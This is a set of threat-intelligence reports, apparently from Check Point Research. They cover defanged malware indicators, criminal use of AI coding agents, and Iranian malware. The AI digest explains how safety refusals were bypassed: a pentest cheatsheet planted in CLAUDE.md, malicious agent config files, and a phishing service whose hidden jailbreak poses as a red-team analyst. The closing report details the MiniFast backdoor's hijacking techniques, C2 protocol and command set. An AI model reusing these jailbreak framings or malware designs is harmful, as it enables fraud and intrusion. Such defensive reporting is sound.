Even if the upstream traffic source is not intended to distribute malware, repeated diversion of users into gray and malicious chains strongly suggests insufficient partner vetting and weak abuse prevention across the supply path. Mechanisms such as sending users somewhere other than the visible link target and handing sessions off to third-party infrastructure outside the original platform’s control are, at minimum, hallmarks of unfair and deceptive traffic practices, not transparent advertising.

More broadly, the embedded TDS layer behaves like a broker between ecosystems: it allows downstream operators to selectively receive only the sessions they want, based on GEO, browser fingerprinting, anti-bot checks, and capping. That makes attribution harder and accountability more diffuse — the impersonation operator does not need to be the malware author to enable malware delivery at scale.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems and protect against the attacks and threats described in this report.

IOCs

TypeIndicatorDescription
SHA-256598b023e56c45b19173e8f96c1c88036d732fec305cf6bf1b9cf4dbe304beb7fSessionGate Stage 1
SHA-25674091f5a8746a1c68d73e1fc1e4e1ff514632ee3f632a8b306f35dabae2d2b64SessionGate Stage 1
SHA-25615e6df0c95f2147952308e640d55270e9d097639eaebb34d4b352415f1c6bcebSessionGate Stage 1
SHA-2563bb92771e287aa0a8bdd8e5b5bb697427223eaefded3d9b64b5d5c32ad40f3c2SessionGate Stage 1
SHA-256cbad672d9bd06ce91ce465d049e50696fbaec9d209ca0ab1fd814d993d04bc9bSessionGate Stage 1
SHA-2564cdb1f7ac502289119f7f8256f00baaa994e6ecfb4000dcf5e1c46073508fcb3SessionGate Stage 2
SHA-256cbad672d9bd06ce91ce465d049e50696fbaec9d209ca0ab1fd814d993d04bc9bSessionGate Stage 2 DLL #1
SHA-256ce0888df5e28716432013a8ae002437bd3e993fbe8362c5ff9efbddabfe0ab77SessionGate Stage 2 DLL #1
SHA-25626f2abfc254a59c2386dd46dca16744f7147a0f0366cb6008e1d53219175f44cSessionGate Stage 2 DLL #2
SHA-256e6a1a428a7c09c9946f7c0179d89b263f442dc3208b5144a9146c200e4185bd6AnimateClipper
SHA-25687361ba2bb412dcf49f8738f3b8b9b7dccb557ad2e76ea8d98ffa5b098ae3886AnimateClipper
SHA-25639dc2327fe1e5a56ac5ad9dc02f0386cff3d83dcfdc558cacba42ebb9dcc5ec2RemusStealer
SHA-2562e842eab0c16ddd1a2ec4a56610adb58d115b65a1e08e9b67e7e375f8eed0873RemusStealer
Domainappfreshstart[.]comSessionGate
Domainappgetonline[.]comSessionGate
Domainwebinnosetup[.]comSessionGate
Domainappmakingcenter[.]comSessionGate
Domainyourfastcrc[.]comSessionGate
Domainmobileversioncrc[.]comSessionGate
Domainwebcrcprove[.]comSessionGate
Domainintegritycrc[.]comSessionGate
URLhttp://buccstanor[.]pics:28313RemusStealer
URLhttp://baxe[.]pics:48261RemusStealer
URLhttp://217.156.122[.]75:1378RemusStealer
URLhttp://intem[.]lat:9592RemusStealer
URLhttp://ropea[.]top:28313RemusStealer
URLhttp://forestoaker[.]com:6290RemusStealer
URLhttp://buccstanor[.]pics:48261RemusStealer
URLhttp://94.231.205[.]229:28313RemusStealer
URLhttp://gluckcreek[.]online:48261RemusStealer
URLhttps://185.0xA1.0xFB[.]58/navy.7zAnimateClipper
URLhttp://194.150.220[.]218/4SLEYpfAk57hGubo/fo0suc2ki2.rtfAnimateClipper
URLhttps://cdn-1415.brightcanvas[.]digital/fo0suc2ki2.rtfAnimateClipper
Domainkr.hugo-lapp[.]coAnimateClipper
Domainio.hugo-lapp[.]latAnimateClipper
Domaincw.hugo-lapp[.]latAnimateClipper
Domainst.hugo-lapp[.]latAnimateClipper
Domaintd.hugo-lapp[.]latAnimateClipper
Domainfd.hugo-lapp[.]latAnimateClipper
Domained.hugo-lapp[.]latAnimateClipper
Domainflame-guard[.]ccAnimateClipper
Domaincarlessclapped[.]comAnimateClipper

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  •  

AI Threat Landscape Digest March-April 2026

Executive Summary

During the March–April 2026 reporting period, AI use in offensive operations advanced from development and planning to real-time operational deployment. Multiple independent cases, involving individual criminal actors, mass exploitation platforms, ransomware groups, and state-sponsored espionage, show evidence of commercial AI models executing autonomous attack workflows across extended campaigns.

Key findings:

  • AI-orchestrated attacks have progressed from experimental, state-sponsored use to in-the-wild criminal deployment. Multiple criminal operations relied on commercial Claude Code as a persistent operational tool in multi-week campaigns.
  • Agentic configuration files are being weaponized as persistent jailbreak vectors. Hooks, project-level files, and settings files abuse the operational control level and redefine the model behaviour at the architecture level.
  • AI-enabled attack platforms are commercializing AI capabilities. Operators can now buy access to platforms where the AI pipeline, model selection, jailbreak, and delivery mechanisms are embedded in the product.
  • AI provider credentials have become a high-value target. As commercial AI services become central to offensive operations, API keys for Anthropic, OpenAI, Groq, Mistral, and HuggingFace are harvested at scale from compromised .env files, providing access without registration and resilience against provider attempts to revoke this access.

AI as Live Attack Operator

AI selection considerations

Underground forum discussions still show actors debating the use of commercial models, dedicated jailbreak services, or locally hosted open-source models, reflecting the lower-skill end of AI adoption. More advanced actors combine tools pragmatically: from commercial AI models, open or uncensored models where commercial providers restrict output, and custom automation pipelines that perform repetitive analysis at scale. Tasks are systematically broken down into smaller sub-requests that present a lower apparent risk profile.

Figure 1 - Figure 1: Forum user suggesting commercial models are effective and restrictions easily removable
Figure 1 – Forum user suggesting commercial models are effective and restrictions easily removed.
Figure 2 - Figure 2: Another user recommends self-hosting open source models to avoid monitoring
Figure 2 – Another user recommends self-hosting open-source models to avoid monitoring.

Forum users further discuss and share methods and alternatives to avoid mainstream-provider safety controls by mixing open-weight Chinese frontier models, privacy-routed proxies, and explicitly uncensored services.

Figure 3 - Figure 3: User sharing a non-restricted/monitored AI assistant recommendation table.
Figure 3 – User sharing a non-restricted/monitored AI assistant recommendation table.

The Mexico Breach

When Anthropic disclosed GTG-1002, a Chinese nexus campaign using Claude Code for cyber espionage, in November 2025, this was seen as an experimental, state-sponsored development. The disclosure carried no IoCs and was therefore disputed by independent researchers, and the activity was detected only through Anthropic’s own API monitoring. The Mexico breach, which occurred a few months later, demonstrates similar architecture in operational, financially motivated criminal use, at scale, and with a recovered forensic record.

Between late December 2025 and mid-February 2026, a single operator compromised nine Mexican government agencies. Researchers documented the case after recovering materials from attacker-controlled VPS servers. Details include the operational record: 1,088 attacker prompts generating 5,317 AI-executed commands across 34 sessions.

The breach scope was significant: tax records, civil registry data, vehicle records, patient files, and electoral infrastructure were affected. However, an even more important lesson is how the campaign was run.

The operator built a dual AI workflow. Claude Code served as the interactive exploitation assistant, helping advance access, write exploits, build tunnel chains, map victim environments, and escalate privileges. In parallel, harvested server data was processed through GPT-4.1 for automated intelligence analysis. The GPT output was then used to task new Claude sessions.

As we highlighted in our previous review, the agentic infrastructure itself was exploited to bypass the model’s safety restrictions. At the start of the campaign, Claude refused to execute requests which it correctly identified as offensive cyber activity. The attacker then changed tactics. Instead of asking Claude to generate malicious content directly, they pasted a large penetration-testing cheatsheet into CLAUDE.md in the project root, the file Claude Code automatically loads as persistent project context at the start of every session. From that point on, subsequent sessions inherited the rules and techniques in that file. The attacker did not need to repeat the jailbreak as the behavior persisted through the project configuration layer. After gaining root on a civil registry server, the model’s actions in subsequent sessions were consistent with the persistent cheatsheet, including unprompted post-exploitation steps such as shadow file extraction and timestamp cleanup.

Bissa Scanner

A second documented case, Bissa Scanner, was published in April 2026, after researchers identified an exposed operator server. Bissa is a modular mass-exploitation platform built around React2Shell (CVE-2025-55182), with 900+ confirmed compromises across millions of scanned Next.js endpoints and an archive of 30,000+ distinct .env filenames recovered from operator-controlled S3 storage. The operation has been running since September 2025. Here, AI is positioned one step back from the exploitation layer: Claude Code and OpenClaw (running claude-sonnet-4-6, with a Telegram bot for triage alerting) served as the operator’s working environment for reading the scanner codebase, troubleshooting, refining the collection pipeline, and prioritizing high-value access. No jailbreak was documented and commercial Claude was accessed through the standard API.

Bissa harvested .env files specifically for AI provider credentials (Anthropic, OpenAI, Groq, Mistral, OpenRouter, HuggingFace, Replicate, DeepSeek). AI provider credentials have become a deliberate target, valuable enough for sophisticated operators to enumerate and harvest at scale alongside conventional credential theft. These credentials are likely intended to be used in future offensive criminal activity and attribute it to the legitimate account holder instead of the attacker.

Agentic Configuration Files: A Persistent Attack Surface

The previous section demonstrates the use of agentic configuration files to override safety features in their own AI sessions. The same inheritance mechanism can be used in reverse: an attacker plants malicious agentic configuration files in a repository, and an innocent developer uses the project and becomes the next victim.

A recent CPR report documented three exploitation paths and disclosed two (now patched) CVEs. CVE-2025-59536 exploits Claude Code’s Hooks feature (hooks, .claude/settings.json), executing arbitrary commands before the developer can read them. A parallel path uses .mcp.json to trigger the MCP server startup, bypassing the consent dialog entirely. CVE-2026-21852 redirects ANTHROPIC_BASE_URL to a malicious proxy that intercepts authorization headers and potentially steals API keys, granting read/write access to the entire team Workspace before any trust prompt appears. The attack vector in all three cases is “supply chain”, a malicious settings file embedded in a pull request, honeypot repository, or compromised codebase that results in system compromise on the developer machine.

The underlying issue of using agentic configuration files as the attack surface and supply chain is not specific to Claude. The potential attack surface is architectural and may apply equally to Cursor (.cursorrules), Windsurf (.windsurfrules), and GitHub Copilot Workspace (.github/copilot-instructions.md).

AI-Powered Fraud at Scale: EvilTokens

EvilTokens represents a category of offensive tooling offered for sale: a commercial Phishing-as-a-Service (PhaaS) platform, built using AI and operating an LLM pipeline as a runtime component of the attack. A buyer with no AI knowledge can purchase access to a fully integrated pipeline in which model selection, jailbreak, and output delivery are handled at the platform level.

EvilTokens runs a multi-stage attack flow. Device-code phishing pages impersonating Adobe, DocuSign, and SharePoint harvest Microsoft OAuth tokens. The AI pipeline then activates these tools:

  • Via Groq, llama-3.1-8b-instant ingests up to 5,000 emails in 250-email batches, extracting account numbers, routing numbers, wire amounts, payment deadlines, and reporting hierarchies.
  • Also via Groq, llama-3.3-70b-versatile synthesizes the intelligence, generates BEC (Business Email Compromise) drafts tailored to the victim’s writing style, and assigns a BEC score.
  • gpt-4o-mini translates stolen emails for non-English-speaking operators.
  • The SMTP Sender delivers the output with rotating SMTP pools, header fingerprint randomization, DKIM signing, and CSS randomization.

The researchers assessed with high confidence that the platform’s backend was AI-generated.

The model choices reflect deliberate task routing: Llama 3.1 8B was used for cheap high-volume extraction, Llama 3.3 70B for reasoning-heavy synthesis and stylistic mimicry, and GPT-4o-mini was reserved for translation where it has the strongest multilingual capability and where the task itself looks innocuous to provider-side monitoring. The riskiest content generation is kept on Groq-hosted open-weight models instead of on OpenAI’s more closely monitored surface.

The jailbreak is the product. Both Groq-hosted LLaMA stages operate under a jailbreak embedded at the platform level, not applied by the operator and not visible to the customer. Stage 1 frames the model as an “authorized red team security analyst” conducting “sanctioned penetration tests”; Stage 2 upgrades to “senior red team analyst.” Prompts direct the model to reference real email threads, mask payment changes behind “plausible business reasons”, imitate sender style, and generate emails “realistic enough to fool a trained employee.” This is security bypass at SaaS scale: write the jailbreak once, ship it as a feature, and it’s inherited in every customer session.

The original EvilTokens advertising posts reveal additional features, including a Calendar Invite module which sends fake meeting invitations that appear as legitimate Outlook and Gmail meeting requests, with built-in Sender Spoofing (Organizer Identity). In a BEC context, this is used to apply timing pressure on finance personnel: a fake “urgent review meeting” appears on the target’s calendar shortly before a wire-transfer request lends the request a sense of pre-authorized context. Combined with the AI-generated email and the SMTP Sender, this completes a full BEC social engineering toolkit covered end-to-end by a single PhaaS offering.

Figure 4 - Figure 4: Calendar Invite module UI with Sender Spoofing section - From EvilTokens promotional forum postings.
Figure 4 – Calendar Invite module UI with Sender Spoofing section – From EvilTokens promotional forum postings.

EvilTokens’ Telegram channel announced additional AI-based features after Sekoia’s disclosure. The platform did not go offline and accelerated its AI feature development through April 2026.

Figure 5 – Announcement of additional AI related features – From EvilTokens Telegram channel.

The Vulnerability Race: AI on Both Sides of the Patch Window

AI-assisted vulnerability research has become a category in its own right and is now commercialized at both major frontier labs simultaneously on two tiers: a restricted research-grade capability and a productized defender tool.

At the frontier, Anthropic’s Claude Mythos, released through Project Glasswing, reportedly demonstrated a systematic, rapid mechanism to search for vulnerabilities and revealed a very large number of vulnerabilities, some long-buried zero-days in core infrastructure. These include a 27-year-old OpenBSD TCP/SACK bug found at roughly $20,000 in compute, a 16-year-old FFmpeg H.264 codec flaw, and a FreeBSD NFS remote code execution vulnerability in software that was analyzed for decades. The capability jump within a single generation is steep: on the same Firefox test set, Opus 4.6 produced 2 successful exploits and Mythos produced 181. Anthropic notes that this capability was not explicitly trained for but “emerged as a downstream consequence of general improvements in code, reasoning, and autonomy.” The productized tier is wider and more accessible: Claude Security (running on the public Opus 4.7 model) entered public beta for Enterprise customers, and OpenAI’s Codex Security, in research preview since early March, has had 14 CVEs assigned during the preview window on OpenSSH, GnuTLS, libssh, PHP, and Chromium.

The same capability curve is reaching attackers at the commodity tier, faster than defenders can patch. A researcher using a standard Claude API subscription identified CVE-2026-34197, a 13-year-old Apache ActiveMQ remote code execution vulnerability, and attributed roughly 80% of the work to Claude and the remainder to his refinement. LMDeploy SSRF (CVE-2026-33626) was exploited within 12 hours of the advisory publication, with no public proof-of-concept available. This time-frame compression is consistent with attackers building working exploits directly from advisory text. GenAI is accelerating this workflow.

Vendors are using AI to find vulnerabilities that sat undiscovered in core infrastructure for decades while attackers are using AI to find and weaponize newly-disclosed vulnerabilities within hours of publication. The patch window, the period between disclosure and exploitation, is being compressed on both sides. Vendors and customers need to adjust to a new high rate of patch development, delivery and deployment. The side that reacts the fastest will gain the most from recent AI developments.

Enterprise Adoption and Exposure

Corporate environment data collected by Check Point in March – April 2026 shows enterprise GenAI usage continuing to scale while the associated risk profile remains stable. Approximately one in every 28 prompts (3.6%) posed a high risk of sensitive data exposure, a modest increase from the January–February baseline of 3.2%, observed across 91% of organizations actively using GenAI tools (compared with 90% in the previous period). The proportion of prompts containing potentially sensitive information rose from 16% to 18%.

Figure 6 – GenAI related data from Corporate.

The average employee generated 78 prompts during March – April, up from 69, with organizations using an average of 10 GenAI tools. Interaction volume is rising while risk ratios remain stable, producing a proportional increase in absolute exposure events.

The consistency of these metrics across two reporting periods indicates a maturing adoption pattern: data exposure is not an episodic incident category but a continuous operational risk requiring sustained monitoring and policy enforcement.

Conclusion

Our findings converge on a small number of structural observations.

  • AI now operates as an attack component, not just as a development aid. The Mexican breach illustrates this at government-breach scale, and Bissa at mass-exploitation scale. The same commercial Claude Code architecture appears independently across criminal operations with different motivations and geographies, and in state-sponsored espionage. The convergence is operational consensus, not coincidence.
  • The techniques aren’t new but the performance envelope is. Network scanning, credential spraying, lateral movement, BEC drafting, and vulnerability research all predate AI. What’s changed is the speed (working exploits generated from advisory text alone within 12 hours of disclosure), scale (one operator reaching the operational footprint of an advanced team), and breadth of knowledge (cross-domain expertise on demand lowers the entry requirement for sophisticated multi-vector campaigns). Defences calibrated to human attack tempo and human team throughput are not equipped for the AI equivalents.
  • The AI attribution gap is structural. All the operations we documented in this report were discovered through attacker OPSEC failures or LLM provider monitoring, not through victim-side controls. AI-executed commands resemble skilled human activity closely enough to evade current behavioral controls. Operations that do not fail at OPSEC, or that route through stolen credentials or self-hosted models, remain unclassified.

The post AI Threat Landscape Digest March-April 2026 appeared first on Check Point Research.

  •  

Fast and Furious – Nimbus Manticore Operations During the Iranian Conflict

Key Findings

  • The Iranian, IRGC affiliated, threat actor Nimbus Manticore resurfaced during Operation Epic Fury, the US military campaign against Iran launched on February 28, 2026, demonstrating newly adopted techniques and enhanced capabilities.
  • The campaign leveraged malicious lures impersonating organizations in the aviation and software sectors across the United States, Europe and the Middle East.
  • For the first time, we observed the use of SEO poisoning as an additional malware delivery method.
  • The operation introduced a previously undocumented backdoor, named MiniFast, which appears to incorporate AI-assisted development practices, enabling the threat actor to rapidly develop and adapt tooling while maintaining high operational availability during the war.
  • The actor also used a Zoom installer’s execution flow and abused it to stage a time-sensitive infection chain for malware deployment while blending into legitimate system activity.

Introduction

During the recent geopolitical tensions in the Middle East, we reported on multiple Iran-nexus threat actors advancing Iran’s strategic objectives through cyber operations. These activities included targeting internet-connected cameras, conducting destructive attacks against US and Israeli entities, and exfiltrating data from cloud environments to support broader kinetic and intelligence-gathering efforts.

Nimbus Manticore (also tracked as UNC1549) is an IRGC-affiliated threat actor who primarily targets the defense, aviation and telecommunication sectors through career-themed phishing campaigns. Nimbus Manticore stands out compared to other Iranian-linked groups due to its complex malware toolset.

In 2025, we documented the MiniJunk malware framework used by Nimbus Manticore to target high-profile organizations across Western Europe and the Middle East.

In the recent campaign, the actor adopted several new techniques, including AppDomain (application domain) hijacking, AI-assisted malware development, and SEO poisoning.

In this article, we focus on three waves of the threat actor’s activity in the last few months, as well as discuss their latest techniques.

Figure 1 – 2026 campaign timeline during the ongoing military campaign.

Campaign 1: Rising Tension

In February 2026, amid rising tensions between the US, Israel and Iran and weeks of military buildup, we monitored new Nimbus Manticore phishing activity worldwide. In this campaign, the threat actor introduced a modified infection chain by abusing AppDomain Hijacking for execution instead of relying on the usual DLL sideloading techniques.

AppDomain Hijacking is a technique that abuses legitimate .NET applications to load a malicious DLL at launch time. This is achieved by placing a Trojanized XML .config file in the same directory as the target application. The configuration file, named after the abused binary with the .config suffix, specifies an attacker-controlled AppDomainManager class that points to a malicious DLL. When the application starts, the .NET runtime loads the DLL, enabling malicious code execution within the context of the trusted process.

Figure 2 – Config file pointing the appDomainManager class to the attacker-controlled DLL.

The phishing lure is consistent with previous Nimbus Manticore campaigns, targeting employees in selected organizations (primarily software and aviation sectors) with fake career opportunities. Targeted organizations in Saudi Arabia and Australia were directed to download a compressed ZIP archive stored on the OnlyOffice platform.

Figure 3 – ZIP file hosted on Onlyoffice.

The downloaded ZIP file contains these files:

  • Setup.exe – Benign Microsoft-signed binary.
  • Setup.exe.config – AppDomain Hijacking configuration file pointing to uevmonitor.dll.
  • uevmonitor.dll – A first stage Dropper.
  • Interop.TaskScheduler.dll – a benign DLL.

Figure 4 – Zip file masquerading as an Accenture job opportunity.

After the setup.exe binary is executed, the first-stage loader (uevmonitor.dll) is loaded. This component is responsible for extracting and deploying the next-stage payload, which is stored in encrypted form within the loader itself.

The extracted files are written into C:\Users\<USER>\AppData\Local\Packages\ and include a legitimate executable used for DLL sideloading alongside a malicious DLL identified as a new version of the MiniJunk backdoor.

The first-stage loader uevmonitor.dll shares multiple behaviors similar to older MiniJunk loader variants. These include validating that it is loaded specifically by the Setup.exe process and displaying a fake error message stating "Couldn't connect to survey server" to appear as a legitimate application failure and reduce user suspicion.

Campaign 2: During Operation Epic Fury

Figure 5 – Campaign 2: During Operation Epic Fury – Attack Chain.

During Operation Epic Fury, we continued to observe activity from the threat actor. Despite the challenging environment, Nimbus Manticore demonstrated a strong ability to rapidly adapt, maintain infrastructure, and develop new tooling. We assess that this capability was likely supported, at least in part, by LLM-based tools and AI-assisted development techniques.

In addition to career-themed phishing lures masquerading as a US-based airline, the threat actor also used a Trojanized Zoom installer, which we assess was part of a phishing campaign using fake meeting invitations. In addition, the Trojanized Zoom installer demonstrated in-depth research into the original application’s installation and execution flow, enabling it to be seamlessly integrated into the infection chain.

Similar to previous campaigns, the threat actor continued leveraging AppDomain Hijacking, not just for the initial execution stage but also during the deployment and execution of the final backdoor. For the final payload, the threat actor introduced a new backdoor that we named MiniFast, replacing the previously used MiniJunk malware family.

Many of the files used throughout the campaign had valid digital signatures via SSL.com, continuing the abuse of trusted signing infrastructure we previously documented in our 2025 report. We identified the use of at least two certificates during the current activity, including:

  • Gray Matter Software S.R.L.
  • Kirubel Kerie Negeya

Infection Chain

The infection chain begins with the victim downloading a compressed archive named Zoominstall64.zip, which contains the following files:

  • Setup.exe – Benign Microsoft-signed binary (ServiceHub.VSDetouredHost.exe).
  • Setup.exe.config – AppDomain Hijacking configuration file pointing to InitInstall.dll.
  • InitInstall.dll – First-stage loader.
  • Zoom_cm.exe – Original Zoom installer.
  • UpdateConfig.xml – AppDomain Hijacking configuration file pointing to Updater.dll.
  • Updater.dll – Second-stage loader.
  • UpdateChecker.dll – Final backdoor payload (MiniFast).

First-Stage Deployment

After Setup.exe is launched by the user, the first-stage loader (InitInstall.dll) is executed through AppDomain Hijacking using the accompanying .config file.

The loader itself is lightly obfuscated. Most readable strings are decrypted at runtime using a simple combination of ROT13 encoding and reversed-string transformations. Aside from the string obfuscation layer, the codebase contains meaningful function names and relatively well-structured logic. Execution begins with the malware displaying a fake installation progress window intended to mimic legitimate software installation activity. At the same time, the loader launches the legitimate Zoom installer (Zoom_cm.exe) to make the execution flow appear to the victim as a normal software installation.

Persistence through Task hijacking

After launching the installer, the malware enters a loop that lasts approximately one minute, continuously monitoring the system for the creation of a scheduled task matching this format:

ZoomUpdateTaskUser-<current user SID>

This scheduled task is usually created by the legitimate Zoom installer during installation.

When the task is created, the malware hijacks and modifies it to execute the second-stage component instead. By abusing an existing Zoom scheduled task rather than creating a new suspicious persistence mechanism, the malware attempts to blend into legitimate system activity and reduce detection opportunities.

Second-Stage Deployment

The next-stage files are copied into C:\Users\<USER>\AppData\Local\Zoom\bin\update. This directory contains four files copied from the original archive, including the benign Microsoft-signed binary from the first stage, now renamed to Update.exe. The malware again abuses AppDomain Hijacking to load the second-stage loader (Updater.dll) through the trusted Update.exe process.

Similar to the first stage, the second-stage loader uses the same runtime string decryption routine based on ROT13 and reversed strings.

At the beginning of its execution, the loader performs a simple anti-analysis validation intended to evade sandbox environments and automated dynamic analysis systems. The malware only continues execution if:

  • The hosting process name is update.exe
  • The parent process is svchost.exe

This execution-chain validation ensures that the DLL is loaded by the malware’s intended loader component and that execution originates from the scheduled-task persistence mechanism instead of launched directly through explorer.exe etc.

The primary purpose of the second-stage loader is to dynamically load the final MiniFast payload (UpdateChecker.dll), locate its exported function named CheckForUpdates, and execute it.

Adoption of AI

This campaign also provides multiple indications that the threat actor leveraged AI-assisted development during the malware creation. We see evidence for this in both the initial access loaders and within the MiniFast backdoor itself.

Several coding patterns and implementation details strongly suggest the use of AI-generated or AI-assisted code during development, including:

  • Excessive error handling and defensive programming logic, even around simple API calls such as GetUserName.
  • Repetitive function and method naming patterns containing descriptive or verbose identifiers.
  • Multiple detailed error-reporting strings and debug-style status messages embedded throughout the codebase.
  • Modular code organization despite the malware’s overall simplicity.

These characteristics are increasingly prevalent in malware development as threat actors leverage AI-assisted tools to accelerate development, improve code structure, and rapidly utilize new capabilities.

Campaign 3: Post Ceasfire – “SQL developer” Campaign

In April, we observed a new infection method, a fake website impersonating a download page for SQL Developer, a graphical tool used for working with databases. Users who attempted to download the software from the fake site instead received a weaponized installer that delivered the MiniFast backdoor.

Figure 6 – Screenshot of the getsqldeveloper[.]com site.

This malware delivery method differs from Nimbus Manticore’s usual infection chains which typically rely on career-themed phishing lures. In this campaign, the actor abuses search engine optimization techniques by registering dozens of domains that link to the bogus domain, getsqldeveloper[.]com. This is likely an attempt to increase the site’s visibility through link-based reputation signals.

At the time of our analysis, the malicious domain ranked high in the results returned by multiple search engines, such as Bing and DuckDuckGo, for the query “sql developer.” This increased the likelihood that users searching for legitimate SQL Developer downloads would encounter the site.

The pages also rely on keyword stuffing, repeatedly using search-oriented phrases such as “Download SQL Developer” and “SQL Developer Free,” likely to improve ranking for users searching for SQL Developer-related downloads.

MiniFast Technical Analysis

MiniFast is a 64-bit Windows PE DLL that exposes a single export named CheckForUpdates which acts as the main entry point. The DLL operates as a fully featured backdoor designed for long-term persistence and remote command execution. Analysis of multiple samples indicates the malware is undergoing active development, with the threat actor continuously modifying and improving the implant across versions.

Figure 7 – Export function CheckForUpdates structure.

Similar to the previous stage, the backdoor again appears to be executing under the expected process chain by verifying that the hosting process is named update.exe and that its parent process is svchost.exe

The implant communicates with its C2 (command and control) infrastructure using an API-style architecture with JSON-formatted data exchanges. To blend into legitimate network traffic, the malware impersonates a Chrome browser using the following hardcoded User-Agent string: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36

The backdoor implements several structured HTTP endpoints throughout the infection lifecycle:

URIMethodPurpose
/rgPOSTInitial handshake
/agent/initPOSTInitial victim registration
/agent/poll?token=GETTask retrieval
/agent/resultPOSTCommand execution result upload
/upload/PUTFile exfiltration
/files/GETFile download from the C2

Before entering its tasking loop, the malware performs basic host reconnaissance by collecting information such as the username, hostname, and domain info, and then submits the collected data as a unique clientId to the /rg endpoint using a POST request.

{
  "clientId":"<ComputerName>:<USERDOMAIN>\<UserName>",
  "type":"poll"
}

If the server responds with HTTP status code 200, the backdoor skips parsing the response body and continues executing normally. However, when the server responds with status code 400, the malware parses the returned JSON object and extracts a socketId, which acts as the session identifier for all future communications.

In addition, the server response may include updated values for pollInterval and jitterTime, allowing the operator to dynamically adjust the timing between subsequent communications with the C2 infrastructure.

{
  "socketId":"<string>",
  "pollInterval":120000,
  "jitterTime":5000
}

Next, the backdoor continues to register the infected host by again sending the machine information, this time to the /agent/init in the following format:

{
  "token": "<socketId>",
  "pcName": "<computer_name>",
  "userName": "<user_name>",
  "domainName": "<USERDOMAIN>",
  "isElevated": true_or_false
}

Only after it receives an HTTP status code 200 from the C2 server does the backdoor proceed to fetch commands for execution using a GET request to /agent/poll?token=<socketId>.

Here, the communication between the implant and the C2 server is not in a JSON format and is performed using Base64-encoded serialized task structures, where each response contains one or more encoded tasks that are later decoded and processed by the backdoor.

struct PollEnvelope {
    uint32_t task_count;
    struct TaskDescriptor {
        uint32_t len_base64;
        char     base64_task[len_base64]; // ASCII, no null terminator
    } tasks[task_count];
};

Each task is then Base64-decoded into a secondary structure, containing the opcode and associated arguments:

struct TaskRecord {
    uint8_t  opcode;
    uint8_t  pad[7];                // alignment
    custom_str_struct arg_main;     // at offset +0x08: main command argument
    custom_str_struct arg_aux;      // at offset +0x28: secondary arg (if needed)
    custom_str_struct taskId;       // at offset +0x48: unique task identifier
}

The opcode determines which capability is executed, while the remaining fields contain command arguments and task tracking identifiers. The malware implements a structured opcode-based command handler that provides operators with extensive control over infected systems.

Figure 8 – MiniFast Command switch.

The supported command set:

OpcodeCapabilityArgumentsDescription
0x02List DirectorypathLists files and folders inside a specified directory.
0x03Move / RenamesourcedestinationMoves or renames files and directories on the victim machine.
0x04Execute CommandcommandExecutes shell commands using cmd.exe /c and returns captured output.
0x05Enumerate ProcessesNoneEnumerates running processes and returns process names alongside their PIDs.
0x06Delete File / DirectorypathDeletes files or directories depending on the target type.
0x07Download FilefileUuiddestinationPathDownloads a file from the C2 server to the local machine.
0x08Upload FilepathUploads local files from the infected machine to the C2 server.
0x09Enumerate DrivesNoneLists available logical drives on the infected machine.
0x0AKill ProcesspidTerminates a process using its PID.
0x0BLoad DLLdllPathexportNameDynamically loads a DLL and invokes a specified exported function.
0x0CCreate DirectorypathCreates a new directory on the victim machine.
0x0DCreate ZIP ArchivesourcePathzipPathCreates a ZIP archive from files or directories.
0xB0Request UAC ElevationpathOrCommandAttempts to relaunch a process with elevated privileges using runas.
0xB1Install PersistencebinaryPathCreates or updates a scheduled task named WindowsSecurityUpdate.
0xF0Set Poll IntervalmillisecondsUpdates the beacon polling interval.
0xF1Idle Command AcknowledgeNoneAcknowledges an idle-time command without modifying behavior.
0xF2Set JittermillisecondsUpdates the jitter value applied to beacon intervals.
DefaultUnknown OpcodeAnyReturns an error for unsupported commands.

After executing a task, the implant serializes the execution result into a dedicated response structure which is Base64-encoded and submitted back to the C2 server through the /agent/result endpoint. The encoded result object contains the task identifier, execution status, and command output:

struct ResultEntry {
    uint32_t taskIdLen;           
    char     taskId[taskIdLen];   // unique task identifier
    uint32_t status;              // 0 = success, 1 = error
    uint8_t  resultText[resultLen]; // command output
};

Victimology

Nimbus Manticore consistently focuses on Europe, the Middle East and Africa, particularly Israel and the United Arab Emirates. However, in contrast to our previous research, the actor’s recent operations demonstrate an expansion toward aviation-sector targets in the United States.

As observed in prior campaigns, there appears to be a strong correlation between the phishing lure and the targeted sector. For example, fraudulent hiring portals impersonating aviation companies were used to target employees and organizations operating within that industry. In the current campaign, impersonate US domestic airlines suggest a deliberate focus on US-based targets.

Our findings indicate targeting extends across several strategic sectors, including aviation and software development. These sectors align with the IRGC’s broader intelligence collection priorities.

Figure 9 – Geographic Distribution of victims around the world.

Conclusion

Nimbus Manticore is one of the most sophisticated Iranian-aligned threat actors with a long-standing focus on the defense, telecommunications, and aviation sectors. The ongoing conflict in the Middle East, combined with the operational demands of wartime activity, appears to have significantly accelerated their malware evolution.

As an IRGC-affiliated entity operating under heightened geopolitical conditions, Nimbus Manticore demonstrated a rapid adoption cycle for new techniques, tooling, and operational methodologies. The actor’s activity during Operation Epic Fury highlights their increasing adaptability, particularly through the integration of AI-assisted malware development, novel infection vectors, and advanced stealth mechanisms.

IOCs

SHA256
10fd541674adadfbba99b54280f7e59732746faf2b10ce68521866f737f1e46d
eee657ffdb2af8ed6412221e7d5fbf4f5742f2ac2c88f43f12db46af0697de71
781605ce9d4a9869e846f6c9657d71437cb6240ab27ffbc4cd550c0e06996690
2c214494fd0bad31473ca8adce78a4f50847876584571e66aadeae70827ec2dc
f08b17856616d66492a24dced27f788e235f35f42fa7cd10f315000d3a2f4c03
a57ffb819fe8d98ff925c5d7b239598fe302acf5a13193d7a535040a71298fdf
63d0d3c4a7f71bdbca720903d6a99b832089cc093c64d2938e7e001e56c17ab4
74882085db2088356ed7f72f01e0404a0a98cda88ef56fb15ce74c1f36b26d27
bc3b44154518c5794ce639108e7b9c5fecb0c189607a26de1aaed518d890c7ad
ecaf493c320d201d285ef5f61d75744216e47cf1115b4af528f9a78883cc446e
44f4f7aca7f1d9bfdaf7b3736934cbe19f851a707662f8f0b0c49b383e054250
0db36a04d304ad96f9e6f97b531934594cd95a5cea9ff2c9af249201089dc864
485f182f7b74ea4013b2539275a95d21e3a9bf0082c331937af9353a324b36f3
64530d7e6ee30e4a66d9eeed6b8595c33fd72f5f73409133ca40539e5695df4c
